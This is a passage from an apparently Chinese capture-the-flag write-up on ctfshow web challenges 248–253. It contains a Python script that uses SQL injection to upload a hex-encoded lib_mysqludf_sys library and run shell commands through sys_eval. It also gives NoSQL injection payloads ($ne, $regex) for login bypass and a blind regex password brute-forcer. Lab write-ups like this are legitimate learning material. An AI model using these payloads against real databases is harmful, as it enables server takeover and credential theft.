0D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400 ' codes = [] for i in range (0 , len (code), 128 ): codes.append(code[i:min (i + 128 , len (code))]) def commit_payload (payload: str ): requests.get(url + f'''0';{payload} ;-- A''' ) commit_payload('''delete from temp''' ) commit_payload('''insert into temp(data) values (0x{})''' .format (codes[0 ])) for k in range (1 , len (codes)): commit_payload('''update temp set data = concat(data,0x{})''' .format (codes[k])) commit_payload('''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''' ) commit_payload('''create function sys_eval returns string soname 'udf.so\'''' ) commit_payload( '''update ctfshow_user set pass=(select sys_eval('cat /flag.????'))''' ) r = requests.get(url[:-4 ] + '?page=1&limit=10' ) print (r.text)
返回结果中找到 flag。
web249 1 2 3 4 $user = $memcache ->get ($id );
无过滤的 nosql 注入,尝试 id=flag
不行,id 都是数字,尝试数组绕过得到 flag。 payload: id[]=flag
web250 1 2 3 4 5 6 7 8 $query = new MongoDB\Driver\Query ($data );$cursor = $manager ->executeQuery ('ctfshow.ctfshow_user' , $query )->toArray (); if (count ($cursor )>0 ){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], $flag ); }
无过滤的 nosql 注入。 MongoDB 中的条件操作符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $gt : > $lt : < $gte : >=$lte : <=$ne : !=、<> $in : in $nin : not in $all : all $or : or$not : 反匹配(1.3 .3 及以上版本)模糊查询用正则式:db.customer .find ({'name' : {'$regex' :'.*s.*' } })
故构造 $data = array("username" => array("\$ne" => 1), "password" => array("\$ne" => 1));
绕过判断。 payload: username[$ne]=1&password[$ne]=1
web251 1 2 3 4 5 6 7 8 $query = new MongoDB\Driver\Query ($data );$cursor = $manager ->executeQuery ('ctfshow.ctfshow_user' , $query )->toArray (); if (count ($cursor )>0 ){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], $flag ); }
无过滤的 nosql 注入。 继续用上一题的 payload,返回 admin 的密码,但是这次的密码里没有 flag,改成 array("$ne" => "admin")
后密码处出现 flag。 payload: username[$ne]=admin&password[$ne]=1
web252 1 2 3 4 5 6 7 8 db.ctfshow_user.find ({username:'$username' ,password:'$password' }).pretty () if (count ($cursor )>0 ){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], $flag ); }
无过滤的 nosql 注入。 继续用上一题的 payload,又出来个 admin1,同时还不能是 admin,正则绕过 payload: username[$regex]=^[^a].*&password[$ne]=1
web253 1 2 3 4 5 6 7 8 db.ctfshow_user.find ({username:'$username' ,password:'$password' }).pretty () if (count ($cursor )>0 ){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], $flag ); }
无过滤的 nosql 注入,再尝试用之前的 payload,登录成功但没有返回数据了。 脑洞 username 是 flag,username[$regex]=flag&password[$ne]=1
可以登录成功,写个脚本正则布尔盲注密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import stringimport requestsurl = "http://5ce4ea0d-afb5-4f1c-9e65-626bdaa6e433.challenge.ctf.show:8080/api/" letters = "{}-_" + string.ascii_lowercase + string.digits def valid_pass (password: str ) -> bool : data = { "username[$regex]" : "flag" , "password[$regex]" : f"{password} .*" } response = requests.post(url, data=data) return "登陆成功" in response.json()["msg" ] result = "" while True : for letter in letters: if valid_pass(result + letter): result += letter print (f"[*] result: {result} " ) break
至此 sql 注入篇结束。